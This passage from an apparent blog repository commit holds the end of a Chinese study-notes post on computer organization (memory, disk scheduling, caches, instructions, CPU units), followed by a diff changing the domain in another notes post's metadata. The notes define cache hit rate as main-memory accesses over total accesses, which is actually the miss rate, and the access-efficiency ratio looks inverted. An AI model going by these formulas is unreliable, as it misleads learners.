取存储器，Random Access Memory）</p><p>RAM通过电容存储数据，必须每隔一段时间刷新一次（刷新需要电存在，如果长时间没有刷新将丢失电容里的电子，从而导致数据丢失），因此掉电后，数据会在一段时间后丢失</p><p>RAM主要由半导体存储体，驱动器，译码器，读写电路，控制电路组成</p><p>CPU利用主存数据寄存器（MDR）通过数据总线来连接读写电路（来完成读写内存工作）</p><p>通过主存地址寄存器（MAR），通过地址总线来连接译码器（完成传输数据，数据存储地址工作）</p><p>操作系统的位数决定了最大寻址区域，32位操作系统最大支持4GB内存（2^32=4<em>2^30），64位操作系统最大支持2^34GB（2^64=2^34</em>2^30）</p><p>辅助存储器，例如磁盘（由盘片（可磁化的硬磁特性材料构成），读写磁头（移动磁头来读取磁道信息），磁道，扇区（磁道的一部分）组成）</p><p>磁盘调度算法：先来先服务算法，最短寻道时间优先算法，扫描算法（电梯算法），循环扫描算法</p><p>先来先服务算法：按照顺序来访问磁道的读写</p><p>最短寻道时间优先算法：优先访问离磁头最近的磁道</p><p>扫描算法（电梯算法）：磁头每次只往一个方向移动，只有到达尽头时才会反方向移动（因为和电梯调度是一样的，因此又叫电梯算法）</p><p>循环扫描算法：基于扫描算法的优化版本，只向一个方向移动，到达尽头不会反方向移动，而是回到起点，继续一个方向移动</p><hr><p>计算机高速缓存</p><p>计算机缓存的工作原理</p><p>字：指存储在一个存储单元中的二进制组合（是存储最小的单元）</p><p>字块：指存储在连续的存储单元中，也就是一个单元的一组字</p><p>如果一个字是64位，并且一个字块有n个字，存储器一共有x个字块，n<em>x就是总字数，而n</em>x*64就是这个存储器的总容量（bits）</p><p>字的地址：前几位表示字块的地址，后几位表示该字在字块的地址</p><p>当CPU需要的数据存在于缓存中时，往缓存获取，需要的数据不存在时，向主存获取</p><p>缓存命中率是衡量缓存的性能基础，如果每次需要的数据都在缓存时，命中率为1</p><p>缓存命中率计算公式：访问主存的次数除以访问主存的次数加访问缓存的次数的和，得到的数就是这个缓存的命中率（占访问总次数的比例）</p><p>缓存访问效率也是衡量缓存的性能基础，计算公式为访问缓存的时间除以访问主存的时间</p><p>缓存替换策略：当缓存没有数据时，需要向主存载入需要的数据，主要有4种算法，随机算法，先进先出算法（FIFO），最不经常使用算法（LFU），最近最少使用算法（LRU）</p><p>随机算法：每一次发生替换时，随机选取缓存的位置，将对应的位置替换</p><p>先进先出算法（FIFO）：将缓存看成先进先出的队列，队列满后发生替换时，优先替换最先进入队列的字块</p><p>最不经常使用算法（LFU）：优先替换最不经常使用的字块，需要提供空间来记录字块的使用频率</p><p>最近最少使用算法（LRU）：优先替换最近一段时间内最少使用的字块（可以利用双向链表结构，保证链首是使用的字块，链尾是最不经常使用的字块，只需要将链尾去掉，将新的字块放到链首）</p><hr><p>指令系统</p><p>机器指令由操作码和地址码组成，操作码指定指令需要完成的操作，操作码的位数决定了机器的操作种类，例如8位操作码表示有256种操作种类，地址码是指定数据或者数据的地址，根据地址码又分为三地址指令，二地址指令，以及一地址指令和零地址指令，就是指令有多少个数据地址</p><p>机器指令的操作类型：数据传输类型，算术逻辑操作类型，移位操作类型，控制指令（例如中断指令）</p><p>机器指令的寻址</p><p>指令寻址：顺序寻址，跳跃寻址</p><p>数据寻址：立即寻址，直接寻址，间接寻址（给出的地址是数据地址的地址，再根据数据地址，找到数据）</p><hr><p>计算机的控制器</p><p>控制器是控制计算机和协调计算机的</p><p>控制器由程序计数器（存储下一条指令的地址），时序发生器（发送时序脉冲，CPU根据时序脉冲来进行工作），指令译码器（翻译操作码对应的操作，传输地址码对应的数据），寄存器（通用（暂时存放或者发送数据或者指令，也负责保存算术逻辑单元的中间结果），指令（存取计算机指令），主存地址（保存当前CPU正在访问的内存单元地址），主存数据（保存当前CPU正在读取或者写入的主存数据）），总线组成</p><hr><p>计算机的运算器</p><p>运算器由数据缓冲器，算术逻辑单元（ALU），通用寄存器，状态字寄存器，以及总线组成</p><p>数据缓冲器分为输入缓存（暂时存放外部设备发送过来的数据）和输出缓冲（暂时存放需要发送给外部设备的数据）</p><p>算术逻辑单元（ALU）是运算器核心，可以完成算术运算（位运算，加减乘除等等）</p><p>状态字寄存器是存放运算状态的（例如进位，结果的正负，条件码，溢出等等），也可以存放运算控制信息（例如允许中断位，调试跟踪标记位等等）</p><hr><p>计算机指令执行过程（获取指令，分析指令，执行指令）</p><p>指令执行过程的交互发生在片内总线</p><p>通过缓存获取指令，再将指令通过片内总线发送给指令寄存器，暂时存放这个指令操作码和地址码（并不知道指令的具体内容），再通过指令译码器来获取指令具体内容，指令译码器通过片内总线发送控制信号给运算器，程序计算数+1（表示轮到下一个指令执行），执行指令会先将数据存储在数据寄存器，算术逻辑单元处理数据，并且状态字寄存器记录运算的状态，指令完成后发送运算结果</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/>计算机组成原理</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/156/><span class=title>« Prev</span><br><span>计算机网络学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/154/><span class=title>Next »</span><br><span>简单使用PWA技术</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/156/index.html b/posts/156/index.html
index 3929d5af..1f65bd93 100644
--- a/posts/156/index.html
+++ b/posts/156/index.html
@@ -60,8 +60,8 @@
 虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）
 网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作
 IP协议
-IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/156/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机网络学习笔记"><meta property="og:description" content="计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
+IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/156/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="计算机网络学习笔记"><meta property="og:description" content="计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
 计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等
 网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）
 计算机网络发展历史
@@ -123,7 +123,7 @@
 虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）
 网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作
 IP协议
-IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/156/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-01T12:00:00+00:00"><meta property="article:modified_time" content="2022-11-01T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机网络学习笔记"><meta name=twitter:description content="计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
+IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/156/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-11-01T12:00:00+00:00"><meta property="article:modified_time" content="2022-11-01T12:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="计算机网络学习笔记"><meta name=twitter:description content="计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
 计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等
 网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）
 计算机网络发展历史
@@ -185,7 +185,7 @@
 虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）
 网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作
 IP协议
-IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"计算机网络学习笔记","item":"https://xiaochenabc123.github.io/posts/156/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"计算机网络学习笔记","name":"计算机网络学习笔记","description":"计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据\n计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等\n网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）\n计算机网络发展历史\nARPANET（1969年，美国国防部创建的单个网络）\n三层结构互联网（现代互联网雏形，当时主要用于连接美国学校，实验室的计算机，主干网，地区网，校园网）\n多层次ISP互联网（ISP指网络服务提供商（Internet Service Provider），常见网络服务提供商有中国移动，中国电信，中国联通等等）\n多层次ISP互联网，分主干ISP（主要跨国通信），地区ISP（主要局部地区通信，例如广东移动，北京电信等等）\n中国创建了多个公共互联网，例如：中国电信互联网（CHINANET），中国移动互联网（CMNET），中国联通互联网（UNINET），中国教育与科研计算机网（CERNET），中国科学技术网（CSTNET）等等\n计算机网络层次结构（确保数据通信顺通，识别目标计算机的状态，数据是否存在错误）\n层次结构大概分3个，网络应用，数据通信，物理网络\n层次细分的话，有七层，也就是OSI七层模型（OSI国际标准定义的），而且每个层都是独立的（不干预其他层），只完成不同的工作\nOSI七层模型：应用层（为计算机提供服务），表示层（数据处理），会话层（管理通信会话），传输层（管理通信连接），网络层（数据路由），数据链路层（管理节点之间的数据通信，例如传输数据到另一个局域网），物理层（计算机物理设备）\nOSI七层模型并没有成为广泛使用的标准，而是采用TCP/IP四层模型\nTCP/IP四层模型：应用层（对于OSI七层模型的应用，表示，会话，HTTP协议），传输层（OSI七层模型的传输层，TCP/UDP协议），（OSI七层模型的网络层，IP/ICMP协议）网络层，（数据链路层和物理层，ARP/RARP协议）网络接口层\n计算机网络性能指标\nbps=bit/s，1秒多少比特位，比特率\n时延：发送时延（数据bit除以bps），排队时延（数据等待被网络设备处理的时间），处理时延（数据到达目标机器后处理需要的时间），传输时延（传输路径除以bps）\n总时延 = 发送时延+排队时延+传输时延+处理时延\n往返时间RTT（Route-Trip Time）：数据报文在通信中来回一次的时间（可通过ping命令来查看RTT）\n物理层（连接不同的物理设备，传输比特流）\n物理层传输介质：双绞线（又分屏蔽和无屏蔽，区别就是增加了一层屏蔽层），同轴电缆，光纤（通过光传输，光纤内部是具有高折射率的纤芯，能折射光）\n电缆使用铜作为传输介质，光纤通过光来作为传输介质\n铜线中的电信号传播速度大约为2.3*10^8m/s\n光纤中光信号的传播速度是2.0*10^8m/s\n因此实质上电缆的传播速度比光纤快，因为光纤是利用光的反射来传输到远方的，实质光走的距离更长\n但是电缆的铜在远距离的情况下，会导致衰减（主要有2个原因导致，介质损耗（通过电磁波传导，会在介质中产生电场的电荷规则排序，这会消耗能量）和导线损耗），需要通过中继器来延续信号\n因此在跨市，跨城，跨省，跨国使用都是光纤（光纤的带宽比电缆好，也是一个原因），但是短距离，得益于电缆的传播速度，会更好，因此局域网内部大多使用电缆来传输（因为解析光信号，还需要个光信号调制调解器，计算机无法直接使用光纤传输的数据）\n比特流：通过高低电平来表示比特流，来传输数据\n信道（往一个方向传输信息的媒体，一个通信电路最少要有一个发送信道和接收信道）\n信道的分类：单工通信信道（只能往一个方向通信的信道，没有反馈的信道，例如电视机的电视闭路线），半双工通信信道（可以发送和接收信息，但是不能同时发送，同时接收），全双工通信信道（可以同时发送，同时接收）\n物理层会实现信道分用复用技术（提升信道的利用率）\n频分复用，时分复用，波分复用，码分复用\n数据链路层（封装成帧，透明传输，差错监测）\n数据帧：数据链路层中数据的基本单位，数据发送方会在网络层的一段数据的前后添加特定标记，而这一段数据就是数据帧，数据接收方根据特定标记来识别数据帧，是数据链路层内部数据处理成帧\n数据帧也分MAC帧（没有帧尾，因为MAC帧之间是96比特时间，帧头也是没有的，而是让物理层给MAC帧添加8bts的前导码），PPP帧（有帧头和帧尾，帧头到帧尾就是这个帧的长度）\n封装成帧：数据链路层会将网络层交付的数据报文添加帧头和帧尾，让其成为帧\n帧头和帧尾都是特定的控制字符（比特流），帧头（SOH）：00000001，帧尾（EOT）:00000100\n透明传输：数据链路层对网络层提供的数据没有限制（控制字符在帧数据中，但是不会去当成数据去处理，就好像帧头和帧尾不存在一样）\n字节填充（对数据内部的数据填充ESC转义字符），比特填充（零比特填充法：在每5个连续的1后面插入比特0）\n数据链路层规定了帧的数据的长度限制，就是最大传输单元MTU（Maximun Transfer Unit）\n以太网的MTU（MAC帧）是1500字节\n路径MTU：由链路中MTU的最小值决定\n差错监测：因为物理层只负责传输比特流，没有控制出错的功能，因此数据链路层提供了差错监测的功能\n奇偶校验码：在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错，具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章，讲TCP的可靠性那里\n奇偶校验码的缺点就是如果发生2位的出错，就无法校验出来错误\n循环冗余校验码CRC（根据传输或者保存的数据来产生固定位数的校验码，校验码再附加到数据的后面）\n模二除法：通过异或来表示0或者1，例如00就是0，01就是1，异为1，或为0\n选择用于校验的多项式，并且在数据后面添加多个0，添加多个0的数据，通过模二除法来除以校验的多项式的位串，得到的余数将填充到原来数据的添加多个0的位置，来得到可校验的位串\n假设校验的多项式为X3+X2+1，那么就是原数据后面添加3个0（添加多少个0取决多项式的最高阶，二进制位的最高位也取决于最高阶（最高幂次）二进制位数等于最高阶+1，这里就是表示的二进制位为4位的二进制数），二进制位串位计算就是1x3+1x2+0x1+1x0，就是1101\n例如原数据为1010110，CRC校验码计算就是1010110000除以1101，得到的余数0001就是CRC校验码，在将原来填充0的位置填充CRC，就是10101100001，这个比特流就是要传输的数据\n接收数据进行校验通过，传输的数据除以位串，来得到余数，根据余数来进行判断校验（余数为0则表示数据正确）\n数据链路层只检测数据的错误，不会进行数据的纠错，数据错了，数据链路层将会丢弃错误的数据或者重新传输数据\nMAC地址（物理地址，硬件地址，每个设备都有唯一的MAC地址，用48个比特位来表示，使用16进制）\nMAC地址表：映射MAC地址到硬件接口上\n以太网协议是数据链路层的协议，以太网协议是局域网技术，以太网协议用于完成相邻设备的数据帧传输\n网络层（数据路由，数据在网络传输的路径，跨局域网，跨节点）\n路由器的顶层是网络层，没有使用到传输层和应用层\n网络层的ip协议，子网划分\n虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）\n网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作\nIP协议\nIP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址","keywords":["计算机网络"],"articleBody":"计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据\n计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等\n网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）\n计算机网络发展历史\nARPANET（1969年，美国国防部创建的单个网络）\n三层结构互联网（现代互联网雏形，当时主要用于连接美国学校，实验室的计算机，主干网，地区网，校园网）\n多层次ISP互联网（ISP指网络服务提供商（Internet Service Provider），常见网络服务提供商有中国移动，中国电信，中国联通等等）\n多层次ISP互联网，分主干ISP（主要跨国通信），地区ISP（主要局部地区通信，例如广东移动，北京电信等等）\n中国创建了多个公共互联网，例如：中国电信互联网（CHINANET），中国移动互联网（CMNET），中国联通互联网（UNINET），中国教育与科研计算机网（CERNET），中国科学技术网（CSTNET）等等\n计算机网络层次结构（确保数据通信顺通，识别目标计算机的状态，数据是否存在错误）\n层次结构大概分3个，网络应用，数据通信，物理网络\n层次细分的话，有七层，也就是OSI七层模型（OSI国际标准定义的），而且每个层都是独立的（不干预其他层），只完成不同的工作\nOSI七层模型：应用层（为计算机提供服务），表示层（数据处理），会话层（管理通信会话），传输层（管理通信连接），网络层（数据路由），数据链路层（管理节点之间的数据通信，例如传输数据到另一个局域网），物理层（计算机物理设备）\nOSI七层模型并没有成为广泛使用的标准，而是采用TCP/IP四层模型\nTCP/IP四层模型：应用层（对于OSI七层模型的应用，表示，会话，HTTP协议），传输层（OSI七层模型的传输层，TCP/UDP协议），（OSI七层模型的网络层，IP/ICMP协议）网络层，（数据链路层和物理层，ARP/RARP协议）网络接口层\n计算机网络性能指标\nbps=bit/s，1秒多少比特位，比特率\n时延：发送时延（数据bit除以bps），排队时延（数据等待被网络设备处理的时间），处理时延（数据到达目标机器后处理需要的时间），传输时延（传输路径除以bps）\n总时延 = 发送时延+排队时延+传输时延+处理时延\n往返时间RTT（Route-Trip Time）：数据报文在通信中来回一次的时间（可通过ping命令来查看RTT）\n物理层（连接不同的物理设备，传输比特流）\n物理层传输介质：双绞线（又分屏蔽和无屏蔽，区别就是增加了一层屏蔽层），同轴电缆，光纤（通过光传输，光纤内部是具有高折射率的纤芯，能折射光）\n电缆使用铜作为传输介质，光纤通过光来作为传输介质\n铜线中的电信号传播速度大约为2.3*10^8m/s\n光纤中光信号的传播速度是2.0*10^8m/s\n因此实质上电缆的传播速度比光纤快，因为光纤是利用光的反射来传输到远方的，实质光走的距离更长\n但是电缆的铜在远距离的情况下，会导致衰减（主要有2个原因导致，介质损耗（通过电磁波传导，会在介质中产生电场的电荷规则排序，这会消耗能量）和导线损耗），需要通过中继器来延续信号\n因此在跨市，跨城，跨省，跨国使用都是光纤（光纤的带宽比电缆好，也是一个原因），但是短距离，得益于电缆的传播速度，会更好，因此局域网内部大多使用电缆来传输（因为解析光信号，还需要个光信号调制调解器，计算机无法直接使用光纤传输的数据）\n比特流：通过高低电平来表示比特流，来传输数据\n信道（往一个方向传输信息的媒体，一个通信电路最少要有一个发送信道和接收信道）\n信道的分类：单工通信信道（只能往一个方向通信的信道，没有反馈的信道，例如电视机的电视闭路线），半双工通信信道（可以发送和接收信息，但是不能同时发送，同时接收），全双工通信信道（可以同时发送，同时接收）\n物理层会实现信道分用复用技术（提升信道的利用率）\n频分复用，时分复用，波分复用，码分复用\n数据链路层（封装成帧，透明传输，差错监测）\n数据帧：数据链路层中数据的基本单位，数据发送方会在网络层的一段数据的前后添加特定标记，而这一段数据就是数据帧，数据接收方根据特定标记来识别数据帧，是数据链路层内部数据处理成帧\n数据帧也分MAC帧（没有帧尾，因为MAC帧之间是96比特时间，帧头也是没有的，而是让物理层给MAC帧添加8bts的前导码），PPP帧（有帧头和帧尾，帧头到帧尾就是这个帧的长度）\n封装成帧：数据链路层会将网络层交付的数据报文添加帧头和帧尾，让其成为帧\n帧头和帧尾都是特定的控制字符（比特流），帧头（SOH）：00000001，帧尾（EOT）:00000100\n透明传输：数据链路层对网络层提供的数据没有限制（控制字符在帧数据中，但是不会去当成数据去处理，就好像帧头和帧尾不存在一样）\n字节填充（对数据内部的数据填充ESC转义字符），比特填充（零比特填充法：在每5个连续的1后面插入比特0）\n数据链路层规定了帧的数据的长度限制，就是最大传输单元MTU（Maximun Transfer Unit）\n以太网的MTU（MAC帧）是1500字节\n路径MTU：由链路中MTU的最小值决定\n差错监测：因为物理层只负责传输比特流，没有控制出错的功能，因此数据链路层提供了差错监测的功能\n奇偶校验码：在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错，具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章，讲TCP的可靠性那里\n奇偶校验码的缺点就是如果发生2位的出错，就无法校验出来错误\n循环冗余校验码CRC（根据传输或者保存的数据来产生固定位数的校验码，校验码再附加到数据的后面）\n模二除法：通过异或来表示0或者1，例如00就是0，01就是1，异为1，或为0\n选择用于校验的多项式，并且在数据后面添加多个0，添加多个0的数据，通过模二除法来除以校验的多项式的位串，得到的余数将填充到原来数据的添加多个0的位置，来得到可校验的位串\n假设校验的多项式为X3+X2+1，那么就是原数据后面添加3个0（添加多少个0取决多项式的最高阶，二进制位的最高位也取决于最高阶（最高幂次）二进制位数等于最高阶+1，这里就是表示的二进制位为4位的二进制数），二进制位串位计算就是1x3+1x2+0x1+1x0，就是1101\n例如原数据为1010110，CRC校验码计算就是1010110000除以1101，得到的余数0001就是CRC校验码，在将原来填充0的位置填充CRC，就是10101100001，这个比特流就是要传输的数据\n接收数据进行校验通过，传输的数据除以位串，来得到余数，根据余数来进行判断校验（余数为0则表示数据正确）\n数据链路层只检测数据的错误，不会进行数据的纠错，数据错了，数据链路层将会丢弃错误的数据或者重新传输数据\nMAC地址（物理地址，硬件地址，每个设备都有唯一的MAC地址，用48个比特位来表示，使用16进制）\nMAC地址表：映射MAC地址到硬件接口上\n以太网协议是数据链路层的协议，以太网协议是局域网技术，以太网协议用于完成相邻设备的数据帧传输\n网络层（数据路由，数据在网络传输的路径，跨局域网，跨节点）\n路由器的顶层是网络层，没有使用到传输层和应用层\n网络层的ip协议，子网划分\n虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）\n网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作\nIP协议\nIP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址\nIP协议处理数据是数据链路层处理完毕的数据帧的数据，又叫IP数据报，IP数据报包含了目标的IP地址，源IP地址，IP数据，协议数据等等\nIP数据报的4位版本，就是IP协议的版本，使用4位二进制表示，通信双方必